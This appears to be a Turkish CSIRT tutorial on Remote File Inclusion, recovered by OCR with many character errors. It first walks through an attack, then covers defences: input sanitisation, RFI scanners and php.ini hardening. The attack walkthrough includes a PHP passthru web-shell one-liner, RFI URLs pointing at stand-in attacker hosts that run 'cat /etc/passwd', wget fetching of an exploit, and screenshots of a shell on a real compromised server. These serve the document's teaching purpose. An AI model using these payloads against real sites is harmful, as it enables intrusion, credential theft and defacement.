File Inclusion Aciklari
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OZET
Remote File Inclusion (RFI) gunimuzde siklikla web sayfalarinin
deface edilmesinde veya web sunucularinin hack edilmesinde
kullanilan bir yontem olmustur. Bu kadar ¢ok hataya neden olan web
kodlarini yazan veya geligtirenlerin dikkatsizce kod yazmalari, sistem
yoneticilerinin  de sunucular Uzerinde yeteri kadar Onlem
almamalarndir.

Saldir Senaryosu
Birgok kurum veya kisi php yada asp vb. dillerinde kod yazmayi bilmedikleri i¢in veya hazir kaynak
kodu acik portallar veya scriptleri kullanmasi daha kolay geldigi i¢in bu tarz kodlari kullanmaktadirlar.
Bu scriptlerde yada kodlarda yazan kisi tarafindan kasith olarak birakilabilecedi gibi dikkatsizlik
sonucu ortaya ¢ikan XSS veya RFI aciklari ayni kodu kullanan baska kisiler tarafindan farkedilebilir
ve kotl amagh olarak baskalari ile paylasildiginda web Uzerinde ¢ok fazla saldir olusabilir (mass
defacement).

Birgok site google dorks diye adlandirilan yontemle bu aciklari yayinlamakta hatta exploitlerini bile
derlenmis olarak barindirmaktadir. Bir¢ok art niyetli insan tarafindan ziyaret edilen bu siteler
sayesinde acgik kaynak kodlu portallari kullanan kigilerin web sayfalari ve sunuculari zarar
gormektedir. Bu tarz saldirilarin nasil yapilabilecegini asagida gostererek agiklayamaya calisacagiz.

Bu saldirilarin nasil yapildigina dair bir sekil asagida gosterilmistir.
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Sekil 1. Saldirt asamalari
Kaguk bir drnekleme ile konunun ne kadar énemli oldugunu gorelim.

Acik farkedildikten sonra web adresinden baska bir sunucu Uzerinde bulunan scriptimizi calistirip
veya dosya yukleme izinleri dizgln olarak verilmemisse sunucunun Uzerine yukleyerek sistem
shell’ine ulasmamiza neden oldu. Bizim kullandigimiz yéntemde sunucu kodlama hatasini kullanarak
sistem shell'ine erisim saglanmistir. Web adresine asagidaki http://saldirganinsitesi.com/erisim.php
adresi eklenerek adresi
http://sizinsiteniz.com/yanliskod.php?hatalidir=http://saldirganinsitesi.com/erisim.php haline getirip url
sayesinde sisteme sizmis olduk. Burdan sonra yapilacak birka¢ sey var. Eger sistem yoneticisi
sistem dizinlerinin izinlerini iyi ayarlamamigsa dosya yazip silebilir hatta shell erisimi ile
yapabileceginiz herseyi yapabilirsiniz. Bizim érnegimizde sadece /tmp dizini erisime agik oldugu igin
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neler yapilacadi farkl bir yol izlenerek bulunmustur. Ornedimizde herhangi bir derlenmis exploit
sisteme wget vasitasiyla yuklendi ve galigstirma denemesi yapildi. Sonug: basarili. Daha sonra web
kullanicisinin dizinleri altindaki konfigirasyon dosyalarindan birisi ile mysql sifreleri okunup sistemin
veritabani vasitasiyla sqgl injection yontemi kullanilarak post metoduyla sunucuya haberler ve
dékiumanlar eklendi. Ornek igin asagidaki resime bakabilirsiniz. Sisteme sizdiktan sonra hersey sizin
yetenek ve yaraticiliginiza kaliyor.

07-09-2007 04:34:37 [ phpinfo ] [ php.ini ] [cpu] [mem ] [users ] [ tmp ] [ delete ]
safe_mode: OFF PHP version: 4.4.4 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
Disable functions : NONE
Free space : 42.58 GB Total space: 269.21 GB
uname -a:| Linux host95.hrwebservices.net 2.6.9-42.0.10.ELsmp #1 SMP Tue Feb 27 09:40:21 EST 2007 x86_64 x86_64 x86_64 GNU,/Linux
sysctl:  Linux 2.6.9-42.0.10.ELsmp
$0STYPE : linux-gnu
Server: Apache/1.3.37 (Unix) PHP/4.4.4 mod_auth_passthrough/1.8 mod_log_bytes /1.2 mod_bwlimited/1.4 FrontPage /5.0.2.2635.5R1.2 m

id : = gid= groups=99(r y)
, pwd:| /home/emerald/public_html/webcomic2/admin/system (drwxr-xr-x)
Executed command: Is -lia

total 40

21233744 drwxr-xr-x 2 emerald emerald 4096 Mar 8 2007 .

21233717 drwxr-xr-x 4 emerald emerald 4096 Mar 8 2007 ..

21233745 -rw-r--r-- 1 emerald emerald 578 Mar 8 2007 authorization.php
21233746 -rw-r--r-- 1 emerald emerald 2009 Mar 8 2007 engine.php
21233747 -rw-r--r-- 1 emerald emerald 1279 Mar 8 2007 error.php
21233748 -rw-r--r-- 1 emerald emerald 16129 Mar 8 2007 functions.php
21233749 -rw-r--r-- 1 emerald emerald 547 Mar 8 2007 include.php

Egitim amacl olarak Vedat FETAH tarafindan
bu ekran goriintiisii alinmastar.

:: Execute command on server ::

Run command »

Work directory » /home/emerald/public_html/webcomic2/admin/system Execute
=z Edit files
File for edit » /home/emerald/public_html/webcomic2/admin/systern Edit file
:: Aliases 1
Selectalias » | find suid files v Execute

2 Find textin files ::

Find text » ftext Find
Indirs » /home/emerald/public_html/webcomic2/admin/system * (frootsfhomes /ftmp )
Onlyin files » [/ txt; php * (tuts phps hem )
:: Search textin files via find ::
Text for find » text Find v

Sekil 2. Sunucuya ilk erisim

Sunucuya yukaridaki gibi ilk erisimde karsiniza agigini bulup kullandiginiz domainin dizini ¢ikar. ileriki
asamalarda dizin degistirmek gerektiginde uygun komut vererek gitmek istediginiz dizine
ulasabilirsiniz.

07-09-2007 04::
safe_mode:

41:50 [ phpinfo ] [ php.ini ] [cpu] [mem ] [users ] [ tmp ] [ delete ]
PHP version: 4.4.4 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF

inux-gnu
Apache/1.3.37 (Unix) PHP /4.4.4 mod_auth_passthrough /1.8 mod_log_bytes /1.2 mod_builimited /1.4 ge/5.0.2.2635.5R1.2 m

= y
/home /emeral tmi /vrebcomic2 _( drvixr-xr-x )

/home /emeral Id /public_html /webcomic2 /index.php

<?php include("admin/system/engine.php”): 2> ~

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTHML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtmll/DTD/xhtmli-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type” content="text/html; charset=windows-1250">
<title>[ Emerald Winter ]</title>
<link rel="stylesheet” href="main.css" type="text/css" />
<link rel="alternate” type="application/rss+xwml"” title="feed” href="feed.xml" />

</head>

<body>
<2php
while ($row = mysgl fetch object(§result)) {
2>

<2php comic(): 2>

<div class="comments">
<div class="byline commentsTitle">
<?php commentlink(”no corments"”, "1 comment”,”% comments"”,"commwent on this
comic", "close"): 2>
</div>
<?php include('comments.php'): 2> v

Can't edit file! Only read access!

Sekil 3. Sunucu Uzerindeki mysql sifrelerinin bulunmasi

FILE INCLUSION ACIKLARININ KAPATILMASI

Verdigi Zarar: Kigilerin web sunucunuzun dosyalarina root yetkileriyle erisime olanak saglar.

Nedeni: Remote ve local file inclusionlar birgok exploitte oldugu gibi sadece kodlama
sonundaki bir problemdir.
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Acigin Kapatilma Yontemi:

Eger sitenizde GET ve POST komutlarini igeren satirlar kullaniyorsaniz ve bu komutlarin yazimlarini
yanlig yaparsaniz sitenizde geri donusu olmayan bir agik olugabilir. Simdi bu acigi kapatmanin
yollarina bakalim.

Bu kod $page girisi tam olarak arindiriimadidi igin kullaniimamalidir. $page input direkt olarak web
sayfasina yonlendirilmis ki bu yapilmasi gereken en son hatalardan biridir. Daima browserdan gecgen
her input (giris) arindinimali. Kullanici web sayfasini ziyaret ettiginde "files.php"yi ziyaret etmek igin
"File"a tikladiginda soyle bir sey gorunecek.

<a href=index.php?page=filel.php>Files</a>
<?php

$page = $ GET[page];

include($page);

2>

Bu koda istinaden asagidaki sekilde bir adres girersek browserimizdan neler olabilir?

http://localhost/index.php?page=http://google.com/

Buylk ihtimalle $page degiskeninin sayfaya orjinal olarak konuldugu yerde, google.com ana
sayfasini elde ederiz. Burasi kodcunun caninin yakilabilecedi yerdir. Web sayfasinda olabilen daha
basit bir seye bakalim. RFI exploitinin daha c¢abuk ve kirli kullanimi sizin avantajinizadir. Simdi
"test.php" isimli bir dosya olusturalim ve asagidaki kodu igine koyup kaydedelim.

<?php
passthru($_GET[cmd]);
?>

Simdi bu dosya, Uzerinde RFI exploiti olan bir sayfaya dahil etmek i¢in avantajiniza kullanabilecegdiniz
bir seydir. PHP icindeki passthru() komutu ¢ok tehlikelidir ve birgok host bunu "guvenlik
nedenlerinden dolayl hizmet disidir" olarak alirlar. test.php icindeki bu kodla web sayfasina file
inclusion exploiti de iceren sdyle bir istek gonderebiliriz.

| http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd

Ornek olarak sitenizde kullandiginiz satirlardan biri;

$ornek = SHTTP_GET_VARS[“ornek”]; diyelim. Bu satirda kullanmis oldugunuz tirnaklar disaridan
gelen uyarilara karsi son derece duyarlidir. Yani kisi isterse “ornek” kodlamasi yerine baska bir
sunucudan exploit ¢gagirabilir. Ornegin;

http://www.sizinsite.com/index.php?urun=http://www.exploitsitesi.com/exploit.pl bu sekilde bir
adresleme kullanildigi takdirde exploit sizin sunucunuza yuklenir. Bu acgigi kolay bir yontemle
kapatabilirsiniz. Oncelikle yapmaniz gereken kullanmis oldugunuz GET ve POST komutunun icerigi.
Eger GET yada POST komutu ile veritabanina baglanti yapiyorsaniz bu baglantiyi komuttan énce
tanimlayin;

| $veriadi = “veriadi”.$id;

Daha sonra komutunuzu tirnak kullanmadan, basina dolar ($) koyarak sanki veritabanindan ¢agirma
yapiyorsunuz gibi kullanin;
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| $ornek = $HTTP_GET_VARS[$veriadi];

RFI aciklarini taratabilmeniz igin daha 6nceden olusturulmusg bir perl scriptide mevcuttur. Bu script
nasil elde edilir ve kodlarimizda nasil tarama yapabiliriz 6zetle asagdida anlatilmistir.

Bunun igin ilk once Active Perl bilgisayarinizda kurulu olmasi gerekli! Bu islemleri windows
masaustinuzde yaptiginiz varsayiimigtir. Active Perl
http://downloads.activestate.com/ActivePerl/Windows/5.6/ActivePerl-5.6.1.635-MSWin32-x86.zip
adresinden temin edilebilir. Programi C:/ dizini altina kurdugunuzu varsayarak anlatima devam
ediyoruz. Oncelikle asagidaki kodu kopyalayip notepade yapistirin ve rfiscanner.pl olarak c:\Perl\bin
dizini altina kaydedelim daha sonra taratacagimiz web dosyalarinin bulundugu dizini yine c:\Perl\bin
altina kopyalayarak asagidaki

c:\Perl\bin\perl rfiscanner.pl

komutuyla calistirip kodlarda olabilecek RFI hatalarini results.html dosyasina yazdiririz. Hatali olan
kodlar tekrar derlenip dizenlendikten sonra sunucuya yuklenip web sayfasi yayinlanabilir.

Bu yukarida bahsettigimiz yontem diginda web uygulama kodumuzu
http://pixybox.seclab.tuwien.ac.at/pixy/ adresinden erigebilecegimiz Pixy adh programla da
taratabiliriz. Bu programi bir dncekinden farkli kilan php kodunuzu web sayfasindan girerek online
olarak sisteme sorgulatip ¢ok hizli bir sekilde acgiklarinizi 6grenebilirsiniz. Bunun yaninda programi
isterseniz kendi bilgisayariniza indiripte kullanabilirsiniz. Bunun i¢in Pixy download boélumunden
programi diskinize indirdikten sonra herhangi bir yere agiyorsunuz. Daha sonra taratmak istediginiz
php sayfanizi da ayni dizinin i¢ine koyarak

run-all.bat test.php > rapor.txt

yukarida yazili bulunan satiri komut satirinda yazarak agiklarinizi rapor.txt dosyasini okuyarak
ogrenebilirsiniz.

En sonunda yapilmasi gereken ayarladan biri de sistemde dosya ve dizinlerin izinleri ile php.ini
dosyasinin incelenip isimize yarayacak ozelliklerini kullanmaktir. Asagida anlatacaklarim sistem ile
ilgili degisikliklere neden olacagi icin bazi web sayfalariniz Gzerinde calisan scriptleriniz calismaz
hale gelebilir.

Sistemdeki Klasorler igin: 755 Dosyalar igin: 644 olarak ayarlanmalidir. izinler bu sekilde
ayarlandiktan sonra php.ini dosyasini duzenlemeye baslayabiliriz.

"PHP.INI" YAPILANDIRMASI

Egder sunucu uzerinde yoOnetici haklarina sahipseniz bu ayarlari sunucu uzerinde bulunan tum web
sayfalari yada domainler icin uygulayabilirsiniz demektir.

Sunucu Uzerinde yaplilabilecek ilk islem php.ini (genelde /etc/ dizini altinda olur) dosyasini uygun bir
metin dizenleyici ile agip disable_functions satirini bulmak olacaktir. Daha sonra bu satirin sag
tarafinda asagidaki 6rnegmizideki gibi glvenlik ihalali yaratacak fonksiyonlari yazmak olacaktir.

Ornek:

disable_functions allow_url_fopen,execute,shellexec,exec,system,passthru,proc_close,

popen,tus,proc_get_sta,proc_nice,proc_open
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Egder sunucu Uzerinde yoOnetici haklarina sahip bir hesabiniz yoksa sadece kendi siteniz igin
yapmaniz gerekiyorsa web sayfalarinizi barindirdiginiz kdk dizininizde (wwwhome veya public_html)
bir "php.ini" dosyasi olusturarak veya varolan "php.ini" dosyasinin igerisine altta verdigim kodlari
ekleyerek guvenliginizi saglayabilirsiniz. Fakat sitenizle ayni sunucuda bulunan diger sitelerden
kaynaklanan aciklardan yararlanan kigiler root yetkilerini almayi basarirlarsa burada anlatilanlar
yetersiz kalir.

Not: Altta anlattigim bilgiler iyi bir guvenlik icin yapilmasi gerekenler oldugundan dolayi bunlari
uyguladiktan sonra bazi scriptlerinizin ¢alismasi engellenmis olabilir. Ama scriptin g¢alismasini
engelleyen degerleri iptal ederseniz script tekrar dogru sekilde calisacaktir ancak sisteminizde
guvenlik ag¢igl bulunarak c¢alisacaktir. O ylzden calismayan scriptlerinizin kodlarini kontrol edip
guvenlik ihlali yaratmayacak sekilde yeniden derlemeniz gerekecektir.

"disable_functions" (Guvenlik)

"disable_functions" ile serverinizda birgok fonksiyonun c¢alismasini engelleyebilirsiniz bu sayede
sitenize inject edilen scriptler, sheller i¢in guvenliginizi almis olursunuz. Bu kadar fonksiyon fazla
gelebilir ama iyi bir glvenlik icin sart. Bu kadar sayida devre disi birakilan fonksiyonlar ilk defa
"eno7.org" adresinde verilmigtir.

disable_functions = foreach, glob, openbasedir, posix_getpwuid, f_open, system,dl,
array_compare, array_user_key compare, passthru, cat, exec, popen, proc_close,
proc_get_status, proc_nice, proc_open, escapeshellcmd, escapeshellarg, show_source,
posix_mkfifo, ini_restore, mysql_list_dbs, get_current_user, getmyuid,pconnect, link,
symlink, fin, passthruexec, fileread, shell_exec, pcntl_exec, ini_alter, parse_ini_file, leak,
apache_child_terminate, chown, posix_Kill, posix_setpgid, posix_setsid, posix_setuid,
proc_terminate, syslog, allow_url_fopen, fpassthru, execute, shell, curl_exec, chgrp,
stream_select, passthru, socket_select, socket_create, socket_create_listen,
socket_create_pair, socket_listen, socket_accept, socket_bind, socket_strerror, pcntl_fork,
pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled,
pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, openlog, apache_get_modules,
apache_get _version, apache_getenv, apache_note, apache_setenv, virtual

Egder bu kadar fonksiyonu devre digl birakmak fazla geldiyse alttaki gibi de ayarlayabilirsiniz bu da
guvenliginiz i¢in yeterlidir:

disable_functions = glob, posix_getpwuid, array_compare, array_user_key_compare,
ini_restore, exec, proc_get_status, proc_nice, proc_open, allow_url_fopen, fin, pconnect,
system, dl, passthruexec, shell _exec, proc_close, proc_get_status, chown, chgrp,
escapeshellcmd, escapeshellarg, fileread, passthru, popen,curl_exec, shell, execute

safe_mode" (Glivenlik)

"Safe Mode" adindan da anlasilacagi gibi "Glvenli Mod" anlamina geliyor. "Safe Mode" genelde
birgcok serverda "Off" durumdadir ve bu da birgok tehlikeye davetiye ¢ikaran unsurlar arasinda yer
alir. "Glvenli Modu Agik" durumuna getirmek shellerin serverimizda istedikleri gibi dolagmalarini,
exploitlerin galistirimasini ve komutlarin execute edilmelerini onler. Gunimuzde "agik olan guvenlik
modunu" kapali duruma getiren scriptler mevcut fakat altta anlatilan 6nlemlerle bunun da 6nline
gegcilebilir.

safe_mode =on

Vedat FETAH — ULAK-CSIRT Web Giivenligi Calisma Grubu (http://csirt.ulakbim.gov.tr) 6




"register_globals" (Glivenlik ve Performans)

php.ini dosyasinda bulunan "post" "get" ile gonderilen degerlere kullanici adlariyla ulasilip
ulasilamayacagini belirtir. Session, cookie dederlerini kendi adiyla tanimlayarak birer degisken
olmasina neden olur. "Off" olarak ayarlanirsa bu gibi degerlere kendi tanimladigi sekilde ulagilamaz.

register_globals = off

"allow_url_fopen" (Guvenlik)

"allow_url_fopen" default olarak "agik" seklinde gelir ve bunun "on" agik olmasi "file_get contents()",
"include()", "require()" fonksiyonlar uzaktaki dosyalari da igslemesine olanak tanir. Bunlara verilen
bilgiler hi¢bir kontrolden gegcirilmezse kritik guvenlik agiklarini sebep olur.

| allow_url_fopen = off

"allow_url_include” (Giivenlik)

Bu deger kapali yapildiginda "require" ve "include" ile uzaktan dosya ¢agiriimasi engellenmis olur ve
bu sayede buyuk bir tehlikeden kurtulmus olursunuz.

allow_url_include = off

"display_errors" (Guvenlik)

Bu secgenek sitenizin calismasinda olusacak bir hatayi tarayiciya yansitip yansitmayacagini belirler
yani siteniz igin diyelim bir forum veya portal kullaniyorsunuz ve bunlarin galismasi esnasinda
genelde "Fatal error: Call to undefined function get_header() in /home/vhosts/site.com/index.php on
line 37" seklinde benzeri hata gorullr bunlarin gdézikmesini engellemek icin bu degeri kapali duruma
getirmek gerekir zira kotu niyetli Kisiler sitenizin serverda bulunan tam yolunu 6grenmis olurlar.

display_errors = Off

cgi.force_redirect" (Glivenlik)

Bu deger normalde "on" olarak gelir ve Windows sunucularinda IIS, OmniHTTPD gibi buralarda
kapatilmasi gerekir. Kendi sunucunuz i¢in bu durum yoksa degistirmenize gerek yoktur.

\ cgi.force_redirect = on

"magic_quotes_gpc" (Glivenlik ve Performans)

Magic Quotes islemi GET/POST yontemiyle gelen Cookie datasini otomatikmen PHP script'e kagirir.
Onerilen bu deg@erin agik olmasidir.

magic_quotes_gpc =on
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"magic_quotes_runtime"” (Guvenlik ve Performans)

Magic quotes galisma surecinde data olusturur, SQL'den exec()'den, vb.

magic_quotes_runtime = Off

"magic_quotes_sybase" (Glivenlik ve Performans)

Sybase-style magic quotes kullanir (Bunun yerine \' ' bununla " kagirir)

magic_quotes_sybase = Off

"session.use_trans_sid" (Glivenlik)

Bu ayari dikkatli ayarlayin, kullanici emaile aktif oturum ID'si iceren URL génderebilir

session.use_trans_sid = off

"open_basedir" (Glivenlik)

Burada belirttiginiz bir dizin haricindeki dosyalari veya klasorleri gérmeleri olanaksizdir yani sitenizde
sadece dosyalar dizininin géruntulenmesini istiyorsaniz boyle yapilir.

‘ /home/vhosts/site.com/public_html/dosyalar/

veya hem dosyalar hem de resimlerin bulundugu yerin géztkmesi i¢in de boyle

/home/vhosts/site.com/public_html/resimler:/home/vhosts/site.com/public_html/dosyal

ar/
bunlar haricindeki yerlerin gérinmesi imkansizdir.

/home/vhosts/site.com/public_html/resimler:/home/vhosts/site.com/public_html/dosyal

ar/

\ Iresimler ve /dosyalar yazan yere gorunmesini istediginiz dizinleri belirtin.

"safe_mode_exec_dir" (Glivenlik)

Safe Mode acgikken bunu yaparsaniz sadece belirttiginiz dizinde islem yapilmasina izin verirsiniz.
Safe Mode kapaliyken burada belirttiginiz dizinlerin disinda higbir dizinde islem yapilamaz.
"/home/vhosts/site.com/public_html/" yazan yere kendi dizininizi yazabilirsiniz. Béylece, diyelim "/etc"
v.s dizininden herhangi birsey ¢aligtirmasina izin vermezsiniz.

safe_mode_exec_dir = "/home/vhosts/site.com/public_html/"

Safe Mode" yani "Guvenli Mod" agikken yapilmasi tavsiye edilmez. Cunku "safe mode" burada
belirttiginiz dizinde etkisiz kalacaktir. Guvenli Mod'un agik olmasi o dizinde ise yaramayacaktir.
Guvenlik icin, "Safe Mod" yani "Guvenli Mod" "off" kapaliyken kullanilmasi daha uygundur.
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"asp_tags" (Glivenlik)

ASP Style < % % > taglarina izin verilip verilmeyecegi belirlenir, kapall duruma getirilmesi dnerilir.

asp_tags = Off

“session.hash_function" (Guvenlik)
Oturumlar i¢cin Hash Fonksiyonu

0: MD5 (128 bits)
1: SHA-1 (160 bits)

\ session.hash_function =0

"session.hash_bits_per_character" (Guvenlik)
Hash cevirirken her karakterde kag bit saklansin

4 hits: 0-9, a-f
5 bits: 0-9, a-v
6 bits: 0-9, a-z, A-Z, "-", " "

session.hash_bits_per_character =5
"expose_php" (Giivenlik)

"expose_php" acik ise kapal yapilmasi onerilir. Aksi takdirde PHP ile yaptiginiz herseyde sunucu
tarafindan PHP surima gibi bilgiler gosterilir. Hackerlar hatta Lamerlar bu bilgileri severler. Bunlari
engellemek igin "off" konumuna getiriniz.

expose_php = Off

"html_errors" (Guvenlik)

Bu degerin agik olmasi durumunda PHP tiklanabilir hata mesajlar Uretecektir. Kapali olmasi guvenlik
igin onerilir.

html_errors = off

"max_execution_time" (Glivenlik)

Scriptinizi maksimum uygulamay yuritme zamani mesela kullanici bir linke tikladi ve bu linkin
acilmasi belirtilen saniyeden fazla olursa sayfa sitenizin serverda bulundugu tam yolu gostererek
hata verir. Bu hatalarin gozukmesi guvenlik agisindan sakincalidir. 300 saniye yazan yeri istediginiz
zaman ile degistirebilirsiniz.

max_execution_time = 300
"max_input_time" (Guvenlik)

Scriptinizin ayni sekilde bir dataya ulagsmak igin istek yolladiginda maksimum gegen zaman
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max_input_time = 300

"ServerSignature" (Glivenlik ve Performans)

"ServerSignature" sitenizde bulunmayan bir dosyanin bakilmasi durumunda bu sayfanin altinda
serverla ilgili bir bilgi yer alir ve bu da performansi dusurur ayrica kotu niyetli kisiler serverla ilgili bir
bilgi 6grenmis olurlar.

ServerSignature = Off

"UseCanonicalName" (Performans)

Bu ayarin agik olmasi Apache self-referencing URL olusturdugunda Server ismi ve porttan olusan bir
¢ozulmas isim kullanir.

UseCanonicalName = Off

"HostnameLookups" (Performans)
"HostnameLookups" acik olmasi performansin dusmesine neden olur. IP numarasi DNS
sunucusundan bakilarak adres 6grenilir buda performansi disurur.

HostnamelLookups = Off

"ExtendedStatus" (Performans)

Serverin durumunu 6grenmek igin server-status kullaniliyorsa Apache her an bu islemcinin
cagrilabilecegini bekledigi icin hazir bekler ve her an sistem saatini 6grenmesi gerekir bu da
performansi dusurur.

ExtendedStatus = off

"register_long_arrays" (Glivenlik ve Performans)

Bu degerin "on" agik olmasi durumunda sisteminizde her script ¢alismayacaktir install v.s yapmakta
hatalarla karsilasabilirsiniz ama iyi bir givenlik ve performans icin "off" duruma getirilir.

register_long_arrays = Off

"allow_call_time_pass_reference" (Performans)

Fonksiyonlarin ¢agrilma zamaninda yagsanan uyumsuzluklarla ilgili uyari verir.

allow_call_time_pass_reference = off

"enable_dI" (Giivenlik)

Bu degerin "off" kapali olmasi gerekir aksi halde kigilerin sistemde php modullerinde ¢alisma
yapmasina olanak saglar ve sistemde rahat dolagmalarini saglar guvenlik igin kapali olmasi gerekir.

enable_dl = off
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"track_errors" (Guvenlik ve Performans)

Suruculerde meydana gelen hatalarda yetki verildigi taktirde hata mesaji errormsg olarak degiskende

gosterilir.

| track_errors = Off |
"file_uploads" (Guivenlik)

Acik olursa eger sunucuda dosya yuklenmesine izin verilmis olur ve bu da ciddi bir guvenlik agigina
neden olur eger kullandiginiz scriptden herhangi bir dosya yuklemeniz gerekmiyorsa mutlaka kapall
duruma getiriniz. Bu sayede sitenize herhangi bir shell, script inject edise bile kesinlikle dosya
yuklenmesine izin vermez.

file_uploads = off
"ignore_repeated_errors" (Glivenlik ve Performans)

Acik olursa tekrarlanan hatalari loglamaz.

ignore_repeated_errors = Off

"ignore_repeated_source" (Guvenlik ve Performans)

Tekrarlanan mesajlar engellendiginde, mesaj kaynagini engeller Bu ayar acgik yapildiginda hatalari
loglamayacaktir farkl dosyalardan ya da kaynaklardan tekrarlanan mesajlarla.

ignore_repeated_source = Off

"display_startup_errors" (Glivenlik ve Performans)

"display_errors" degeri "on" aclik olsa bile, Php'nin ¢alisma sirasinda meydana gelen hatalar
g6zukmeyecektir. Bu degerin siddetle "off" kapall duruma getirilmesi onerilir.

display_startup_errors = off

"safe_mode_gid" (Glivenlik)

UID - GID kontrollerini sadece UID ile yapmasina izin verir boylece ayni grupta dosyalar bulunsa bile
goremezler yani serverda bulunan diger clientlarin scriptlerini v.s gormeleri engellenir.

safe_mode_gid = Off

"output_buffering = 4096" (Performans)

4 KB'lik bir tampon ¢iktisi ayarlar "output buffer"

output_buffering = 4096
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"register_argc_argv" (Performans)

Kapali olursa gereksiz ARGV ve ARGC kayitlarini énler. PHP nin ARGV ve ARGC degiskenlerini
bildirip bildirmemesini anlatir.

register_argc_argv = Off

"php_value session.use_trans_sid - php_value session.use_only_cookies"

Bu sekilde ayarlanmasi URL'deki PHPSESSID bilgilerini kaldirir.

php_value session.use_trans_sid =0
php_value session.use_only cookies =1

"session.auto_start”

Oturum baslatmayi baslangigta isteme
‘ session.auto_start =0 ‘

"session.cookie_lifetime"

Cookie'nin zaman ayari

session.cookie_lifetime =0

"memory_limit"

Scriptin tukettigi maksimum hafiza miktari

memory_limit = 8M

"post_max_size"

PHP'nin kabul edecegi maksimum POST data boyutu

post_max_size = 256K
"upload_max_filesize"
Upload edilen dosyalarin maksimum boyutu
upload_max_filesize = 256K
"upload_tmp_dir"
Temporary klaséri HTTP'den gelen dosyalar, ayarlanmazsa default klaséru kullanacaktir.

upload_tmp_dir = /var/lwww/foo.bar/sessions
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"variables_order"

(Ortam, GET, POST, Cerez, Sunucu) bunlarin islenmedeki siralarini belirler.

variables_order = "EGPCS"

Yukarida belirttigim kodlari "php.ini" dosyaniza alt alta ekleyebilirsiniz.
Butun bu yukarida anlatilanlar 1s1ginda sisteminizi daha guvenli yapabilirsiniz.
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SONUG

Sisteminiz guvende ancak hacker’lar hala 1-0 6nde. Unutmayalimki bitin bu ydntemler onlarin
¢abalari sonucu ortaya ¢ikardiklari agiklari yamamaktan ibarettir. Yukarida anlatilan sadece bir agik
hakkinda detayl bilgi sahibi olmanizi saglar. Eger profesyonel olarak web uygulamalariyla ilgili olarak
calisan firmaniz varsa web uygulamalarinin guvenligini saglayacak Ya da size 6zgu guvenlik tarama
mekanizmasi olusturacak bi takima ihtiyaciniz var demek. Eger guvenliginiz i¢in butge ayirmiyorsaniz
sisteminiz zarar gordukten sonra daha fazlasini 6demek zorunda kalabilirsiniz. Web uygulamalariyla
ilgili galismalar yuruten personelinizi konunun ciddiyeti hakkinda uyarin ve kodlari yayinlamadan
once mutlaka guvenlik taramasindan gegirin.

REFERANSLAR:

1. http://lwww.1923turk.org/perlde-rfi-taramasi-t32850.html?t=32850
2. http://'www.cyber-security.org/CW/Dokuman/?Data id=1761
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